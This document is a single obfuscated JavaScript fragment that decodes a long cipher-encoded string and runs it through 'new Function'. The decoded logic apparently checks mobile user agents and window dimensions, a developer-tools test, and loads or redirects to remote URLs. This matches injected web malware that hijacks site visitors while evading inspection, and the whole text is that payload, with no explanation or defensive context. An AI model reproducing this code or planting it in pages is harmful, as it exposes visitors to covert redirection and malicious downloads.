28H"hFFJLg\/\/[[fdTPPs@QCFT_T_m)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCF75FTm6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFfY5FmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFSOJTm)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFLY_6m6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFRDYJmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFdDqJm6R)_dmRT4gQ@{n"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/s@QjR8S4LCXd}^F2"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"s@Q"=X8"S4LCXd}^F2"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"s@Qd2(LCYmOh5:DmRT4"="s@Q5p(LYpmJfC)RmRT4"="s@QD7(LSqmOh5:DmRT4"="s@QdC(LJ^mJfC)RmRT4"="s@Q(C(L:4mOh5:DmRT4"="s@QC2(LSYmJfC)RmRT4"="s@Q25(LLSmOh5:DmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPs@Q2F(LCYmpSfD2RmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPs@Q2F(LCYmpSfD2RmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPs@QCFT_T_m)C7LSmRT4gQ@{n/f/s@Qj(8}vR8S4LCXd}^F2"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPs@QCFT_T_m)C7LSmRT4gQ@{n"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();